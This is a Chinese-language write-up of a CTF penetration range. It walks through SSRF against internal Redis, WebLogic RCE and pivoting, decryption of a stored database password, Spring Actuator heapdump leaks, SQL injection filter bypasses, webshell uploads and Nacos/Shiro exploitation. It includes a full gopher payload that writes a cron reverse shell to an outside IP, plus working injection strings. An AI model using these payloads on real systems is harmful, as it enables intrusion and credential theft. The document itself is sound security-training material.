CTF 靶场闯关

只有 web2 的 flag4 没拿到, 但是我认为思路完全没有问题, 可能还是经验不足吧

详细过程就不写了, 太多敏感信息打码也麻烦, 就写出思路

里面的信息都做了脱敏

Web1

FLAG1

 该环境有2台主机,第一台主机访问地址为:119.45.230.50:80(备用地址:118.195.208.224:80),剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.
 flag1:在第一台主机的根目录
 flag2:在第二台主机的数据库中
 flag3:在第二台主机的根目录下
 内网范围在:172.18.240.0/24

Screenshot2024-08-25at22.08.47

SSRF

file:///flag 秒了

flag1: flag1{6d5e5c2bb397ba7727b58df59b35f66a}

FLAG2

上面使用 file 协议确实可以直接读出 flag, 该怎么访问到另一台主机上呢

你可能想的是直接 getshell, 比如利用 redis 未授权访问, 然后你用 dict://175.27.163.187:6379/info, 果然有, 手到擒来!

但是你又发现, 不管是写计划任务还是写 webshell 等等都不行, 有时候还会报 slave 节点只读的问题

这是怎么回事呢?

实际上所有题都是这个 IP, 每个端口对应的题不一样, 应该是端口映射 -> docker 容器 这样的, 所以你发现的 redis 其实是后面的题......

实际上我当时就是遇到这种情况, 刚开始做的时候脑子有点懵, 当我做到后面才知道, 然后马上返回这题看了看 hosts 文件:

Screenshot2024-09-01at23.55.04

172.18.240.5 才是这个容器的 ip

那么现在就好办了, 先对 172.18.240.5 用 SSRF + BP 扫一下端口, 发现没有可以利用的

题目说 flag2 在数据库里, 那么我们就直接扫瞄 C 段 + 3306/6379 等常见端口, 最后就得到了: 172.18.240.7:6379

直接 dict://172.18.240.7:6379/get:flag 就可以拿到 flag2 了

flag2: flag2{2b7cc5b73fe867cc83546583b858c8ab}

FLAG3

题目说 flag3 在另一台主机的根目录下, 那么必然就是写任务计划 getshell 了

这里写任务计划的时候要注意目标系统是 centos, 可以 gopher 也可以 dict 看你的喜好

 gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2462%0D%0A%0A%0A%2A%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-i%20%3E%26%20/dev/tcp/11.111.111.11/4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

flag3: flag3{f22eec9fb7c498b3a747392ff53a746b}

Web2

 该环境有3台主机,第一台主机访问地址为:119.45.230.50:7001(备用地址:118.195.208.224:7001),剩余两台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.
 flag1:在第一台主机的根目录下
 flag2:在第二台主机的数据库中
 flag3:在第二台主机的根目录下
 flag4:在第三台主机的根目录下
 内网范围在:172.16.10.0/24、172.25.20.0/24、172.26.30.0/24

必须说的是, 这个环境实在太卡了, 做 flag 3 的时候, 明明几分钟的事, mysql 愣是连不上, 做到凌晨 3 点才连上

flag 4 也是同样的情况, 好不容易连上了, 做着做着断掉了又连不上

我也试过换服务器, 换过线路, 加过性能, 我认为并不是我的问题

FlAG 1

Screenshot2024-08-25at22.10.29

7001, weblogic 命令执行直接秒了

flag1: flag1{3e942fd37767def3a9f68cf5ee6ebee5}

FLAG 2

这里他说在数据库中

通过 weblogic getshell 后, 使用 msf 上线木马, 并且搭建代理服务器

uname -m 查看了系统架构是 x86_64, 生成了反向连接木马并且上马

通过扫描扫到运行 mysql 的主机: 172.25.20.12:3306

现在要解决的问题就是如何连上 mysql 了. 爆破吗? 显然不是一个好的方案

这里用了 weblogic, 我们可以在配置文件中翻找一下, 有没有 jdbc 的配置

最终找到 /root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/JDBC_Data_Source-0-3407-jdbc.xml :

 <base_domain/config/jdbc# cat JDBC_Data_Source-0-3407-jdbc.xml               
 <?xml version='1.0' encoding='UTF-8'?>
 <jdbc-data-source xmlns="http://xmlns.oracle.com/weblogic/jdbc-data-source" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.oracle.com/weblogic/jdbc-data-source http://xmlns.oracle.com/weblogic/jdbc-data-source/1.2/jdbc-data-source.xsd">
   <name>JDBC Data Source-0</name>
   <jdbc-driver-params>
     <url>jdbc:mysql://172.25.20.12:3306/mysql</url>
     <driver-name>com.mysql.jdbc.Driver</driver-name>
     <properties>
       <property>
         <name>user</name>
         <value>root</value>
       </property>
     </properties>
     <password-encrypted>{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=</password-encrypted>
   </jdbc-driver-params>
   <jdbc-connection-pool-params>
     <test-table-name>SQL SELECT 1</test-table-name>
   </jdbc-connection-pool-params>
   <jdbc-data-source-params>
     <jndi-name>test</jndi-name>
     <global-transactions-protocol>OnePhaseCommit</global-transactions-protocol>
   </jdbc-data-source-params>
 </jdbc-data-source>

这里的密码是 AES 加密之后的, 直接使用 /root/Oracle/Middleware/wlserver_10.3/common/bin 目录下面提供的 wlst.sh 脚本

运行后:

 wls:/offline> domain = "/root/Oracle/Middleware/user_projects/domains/base_domain/"
 wls:/offline> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
 wls:/offline> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
 wls:/offline> print "MySQL password: %s" %encryption.decrypt("{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=")
 MySQL password: flag#1024

拿到了账号密码, 连上 mysql 就可以看到了, 直接通过代理就可以连接

flag2: flag2{9fffac75c84bfc66fef4998f3574c6c8}

FLAG 3

这里说在第二台的根目录下, 那肯定就是 UDF 了

找到它的 plugin_dir/usr/lib64/mysql/plugin/

flag3: flag3{2e947aef43be6dc428a9c626ba7fb824}

FLAG 4

flag4 说是还有一台主机, 在第三台主机的根目录下, 刚刚在拿下的服务器中扫了没有, 那肯定就得把运行 mysql 的服务器当跳板机了, 使用 cat /etc/hosts 看到果然有 172.26.30.0/24 网段

我们现在对其的控制只有命令执行, 尝试 getshell, 但是失败了, 这个主机很多命令都没有, 用 curl 验证后, 这台机器并不能访问互联网

于是我又查看了他的发行版, 使用 cat /etc/os-release, 输出如下:

 NAME="Oracle Linux Server"
 VERSION="7.9"
 ID="ol"
 ID_LIKE="fedora"
 VARIANT="Server"
 VARIANT_ID="server"
 VERSION_ID="7.9"
 PRETTY_NAME="Oracle Linux Server 7.9"
 ANSI_COLOR="0;31"
 CPE_NAME="cpe:/o:oracle:linux:7:9:server"
 HOME_URL="https://linux.oracle.com/"
 BUG_REPORT_URL="https://github.com/oracle/oracle-linux"
 ​
 ORACLE_BUGZILLA_PRODUCT="Oracle Linux 7"
 ORACLE_BUGZILLA_PRODUCT_VERSION=7.9
 ORACLE_SUPPORT_PRODUCT="Oracle Linux"
 ORACLE_SUPPORT_PRODUCT_VERSION=7.9

现在已知肯定是和运行 weblogic 的 web 服务器可以连接, 所以直接在 web 服务器上安装并运行 nc, 反弹 shell 到 web 服务器的 nc 上, 反弹成功

现在我的思路就是在 web 服务器上上传 earthworm 等内网穿透工具, 然后用 mysql 服务器 curl 下载运行, 搭建 web -> mysql 服务器的代理

mysql 服务器下载了 ew 启动一个代理服务器, 然后用 web 服务器上的 fscan 走代理扫描 172.26.30.0/24, 并没有扫到第三台主机

我又在 web 服务器上安装了 proxychains 用 nmap 来扫, 但这里就很奇怪了, 不管是 fscan 还是 nmap 都没有扫到第三个

我也尝试过分段扫, 端口也精细化了, 也尝试过加时间间隔, 也试过减少数据包始终不行, 中间代理服务多次断开, 重启了很多次.....

Screenshot2024-09-08at20.04.24

于是我准备给 mysql 服务器上马 (正向马, 上传到 web 服务器上再用 mysql 服务器下载下来), 然后用 msf 搭建二层代理来扫描, 奈何环境就是很卡, mysql 一连就是半个小时一个小时才成功一次, 而且还会断

环境太卡了, 上面没有扫到 30.0/24 的主机, 无法排查原因, 准备用二层代理直接在 msf 里面扫, 连上了但是扫的时候又断开了, 减小流量还是不行

时间到了, 这道题也没办法做了

Web3

 主机信息:
 该环境有2台主机,访问地址为:119.45.230.50:22883、119.45.230.50:13306(备用地址:118.195.208.224:22883、118.195.208.224:13306).
 flag1:在第一台主机泄漏的信息中
 flag2:在第二台主机的数据库内

FLAG 1

访问 175.27.163.187:22883 进去是这样的页面:

Screenshot2024-08-25at22.21.56

写过 JavaWeb 的朋友就很清楚了, 这可能用了 Spring

随便访问一个 endpoint, 发现需要认证

Screenshot2024-08-25at22.23.57

这种就是 Basic Authorization

跑了一遍弱口令无果, 发现响应报文有下面的字段:

 www-authenticate: Basic realm="Realm"

还发现随便输一个 /aaa 这样的 endpoint 也需要认证

那应该就是用了 Spring 一套, 大概率是考 Spring Actuator 的未授权访问

尝试访问 /actuator, 成功, 直接访问 /actuator/env, 发现了 flag

flag1: flag1{e20cdd96b8985a3557e5720726bb09a8}

FLAG 2

通过上面的信息判断, 175.27.163.187:13306 就是 mysql, 那就是让我们找 mysql 的密码

可以发现输出的密码都被换成了 *

我们直接访问 /actuator/heapdump, 将内存转储到我们的电脑上, 然后用 VisualVM 类似的工具来找 mysql 密码

Spring Boot 的静态文件都是通过 *AutoConfiguration 来配置的, 所以找 org.springframework.boot.autoconfigure.jdbc 包下的 DataSourceProperties 就可以找到

4531724580833_.pic

找到后直接连接数据库, flag 就在数据库中

flag2: flag2{9edbd4b03b5f86a9abe079bc63ea847b}

Web5

 该环境有1台主机,该主机访问地址为:119.45.230.50:8082(备用地址:118.195.208.224:8082).
 该环境有1个FLAG,信息如下:
 flag1:在题目主机的根目录下

进去是一个 cms, 直接尝试访问 /admin, 跳转到了后台登陆页面

Screenshot2024-08-25at22.42.41

感觉不太可能有弱口令, 就先试试 SQL 注入, 用户名输入 ' 后报错

但是他做了一下过滤, 过滤的关键字有: select, from

第一次尝试:

 a'and(updatexml(1,(concat(0x7e,(select version()),0x7e)),3))#

发现虽然爆出了版本, 但是 select 消失了:

Screenshot2024-08-25at22.47.14

发现过滤了 select, 尝试双写:

 'and(updatexml(1,(concat(0x7e,(seselectlect version()),0x7e)),3))#

成功绕过

他自己把表名和列名给我们了, 接下来就直接获取, 尝试:

 'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from bees_admin),0x7e)),3))#

发现 from 消失了, 尝试双写无法绕过

又尝试了写两个 from:

 'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from from bees_admin),0x7e)),3))#

发现变成了:

 'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_passwordfrom bees_admin),0x7e)),3))#

成功留下了 from, 但少了个空格, 那就添一个空格看看:

 'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password  from from bees_admin),0x7e)),3))#

成功绕过, 但是报了: 操作数据库失败Operand should contain 1 column(s)

那么我们在 select 后加上 concat:

 'and(updatexml(1,(concat(0x7e,(seselectlect concat(admin_name,':',admin_password)  from from bees_admin),0x7e)),3))#

爆出了账号密码:

Screenshot2024-08-25at22.53.12

但是会发现密码位数不够, 使用 substr 截取:

 'and(updatexml(1,(concat(0x7e,(seselectlect substr(concat(admin_name,':',admin_password),22)  from from bees_admin limit 0,1),0x7e)),3))#

最终获取到了账号密码:

 flag 2446d54c2e68d221db9cff653b01a0eb

md5 解密之后得到明文密码: login123

进入后台后到处查看了一下, 发现了一个图片上传的功能, 图片 URL 是这样的: http://175.27.163.187:8082/upload/img/202408251933459800.jpg

然后尝试上传 webshell, 发现做了验证:

Screenshot 2024-08-25 at 23.00.10

那么尝试 bp 抓包, 直接把文件类型改成 image/jpeg, 成功上传 webshell

flag: flag1{476e2dceb225678cd466fc3cd2b4c59c}

Web6

 主机信息:
 该环境有1台主机,该主机访问地址为:119.45.230.50:8081(备用地址:118.195.208.224:8081).
 该环境有1个FLAG,信息如下:
 flag1:在题目主机的根目录下

最抽象的一道题, 进去之后你会发现是最新版的Tomcat 10.1.28

于是只能看看弱口令, 但是如果用的字典不全或者不太对, 那你可能就会想这道题放在第 6 个肯定没有那么简单, 也许是遗漏了什么. 忙碌半天, 发现根本打不进去, 最后换个字典弱口令进去了...

没什么说的, 就是弱口令: tomcat qwe123, 进去传 webshell 就行了

flag: flag1{c7a8d2734ec5a4ed687a9a692ee733f8}

Web7

 主机信息:
 该环境有1台主机,该主机访问地址为:119.45.230.50:6379(备用地址:118.195.208.224:6379).
 FLAG信息:
 该环境有1个FLAG,信息如下:
 flag1:在题目主机的根目录下

一看 redis, 就知道是老三样了

先看看写任务计划, 发现不行, 报路径错误; 再看看写公钥发现也不行, 报权限错误

那可以写 webshell 吗? 很可惜也不行, 不知道网站路径

那就还有一个, 主从 rce, 使用这个: https://github.com/Erzbir/redis-rogue-server

如果不行, 多尝试几次

flag: flag1{672728e3bde3f4cc2b59de572b4df6d6}

Web9

 主机信息:
 该环境有2台主机,访问地址为:119.45.230.50:8848、119.45.230.50:58080(备用地址:118.195.208.224:8848、118.195.208.224:58080).
 FLAG信息:
 该环境有1个FLAG,信息如下:
 flag1:在第二台主机的根目录下

这个 8848 是 nacos 默认的端口, 而 58080 是一个登录框

题目说在第二个主机上, 所以我直接先看看 58080

发现这个使用了 shiro, 用现有的密钥爆破了一下, 不行

那应该就是要用到 nacos 相关的漏洞了

这个题的 nacos 漏洞挺多的, 有未授权访问, 也有弱口令

访问 /nacos, 直接使用 nacos nacos, 默认口令进入后台

仔细查看配置, 就会发现其中有 shiro 的 key: JG/RsuIKp3DFaBfD3ctgeA==

那就直接注入内存马, getshell 了

flag: flag1{97fde43b8e55cb2e2b26b7c232ea82fa}

实际上我还试了 nacos 的其他漏洞, SQL 注入, 反序列化, 都没有成功, 应该是没有这些漏洞

感受

都是基础题, 但是中间有些小插曲导致耗时比较久, 一是刚开始没考虑到环境的结构, 还有就是就比如 Web6 明明那么简单的弱口令, 随便一个字典都能跑, 但我跑的那个字典就刚好没, 以及做 Web7 的时候没写 CONFIG SET dir /tmp, 刚开始以为是 .so 的问题, 重新编译, 换代码各种浪费了点时间

除了 web2 的 flag3 和 flag4, 实际上其他题很快就解出来了, 这两个磨了很久, 可能是他给 docker 分的资源太少导致容器实在太卡了吧, flag3 都是从晚上 8 点磨到凌晨 4 点才拿到 (重复同样的操作)

flag4 没拿到还是有点遗憾

总体还是收获了不少, 对 msf 等工具的熟练度又提升了